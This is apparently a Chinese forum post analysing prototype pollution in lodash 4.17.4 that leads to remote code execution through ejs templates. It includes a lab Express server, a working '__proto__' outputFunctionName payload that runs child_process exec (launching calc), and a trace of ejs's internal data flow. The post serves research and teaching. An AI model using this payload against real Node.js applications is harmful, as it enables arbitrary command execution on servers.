前言

看了师傅《再探 JavaScript 原型链污染到 RCE》,之前没接触过,试着手动去分析一遍。

过程

环境搭建:

npm install ejs
npm install lodash@4.17.4
npm install express

test.js

var express = require('express');
var _= require('lodash');
var ejs = require('ejs');

var app = express();
//设置模板的位置
app.set('views', __dirname);

//对原型进行污染
var malicious_payload = '{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec(\'calc\');var __tmp2"}}';
_.merge({}, JSON.parse(malicious_payload));

//进行渲染
app.get('/', function (req, res) {
    res.render ("./test.ejs",{
        message: 'lufei test '
    });
});

//设置http
var server = app.listen(8081, function () {

    var host = server.address().address
    var port = server.address().port

    console.log("应用实例,访问地址为 http://%s:%s", host, port)
});

test.ejs

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title></title>
</head>
<body>

<h1><%= message%></h1>

</body>
</html>

lodash 原型污染

var _= require('lodash');
var malicious_payload = '{"__proto__":{"oops":"It works !"}}';

var a = {};
console.log("Before : " + a.oops);
_.merge({}, JSON.parse(malicious_payload));
console.log("After : " + a.oops);

打印了It works !

ejs 原型污染 rce

从sink->source分析。

FUNCTION 函数构造器

https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Function

每个 JavaScript 函数实际上都是一个 Function 对象。运行 (function(){}).constructor === Function 便可以得到这个结论。

FUNCTION demo

var person = {
    age:3
}

var myFunction = new Function("a", "return 1*a*this.age");

myFunction.apply(person,[2])

return 1*a*this.age 即为functionBody,可以执行我们的代码。

来看下ejs的触发点

首先在下断点exec
ejs.js

只需要找到src如何控制了。

数据流

从sink往source溯

可以看见是来源于
prepended + this.source + appended

发现很多都来源于opt对象

在追溯一下opt对象

由于我们可以污染未赋值的对象,所以这里使用对象.属性进行赋值的时候,就是源了。这里可以看到有三个红框里面,变量都没有进行赋值的,就可以进行污染。

之前的上文的代码就是污染了opts.outputFunctionName,从而弹出计算器。

其他尝试

污染opts.localsName

这里会调用opts.localsName,如果进行污染,会有问题

fn = new ctor(opts.localsName + ', escapeFn, include, rethrow', src);

污染opts.destructuredLocals

由于是数组,好像不太好污染。

var destructuring = '  var __locals = (' + opts.localsName + ' || {}),\n';
for (var i = 0; i < opts.destructuredLocals.length; i++) {
    var name = opts.destructuredLocals[i];
    if (i > 0) {
    destructuring += ',\n  ';
    }
    destructuring += name + ' = __locals.' + name;
}
prepended += destructuring + ';\n';
}

参考链接

https://xz.aliyun.com/t/7025
https://hackerone.com/reports/310443
https://juejin.im/post/5c30abae51882525ec2000e9

点击收藏 | 1 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖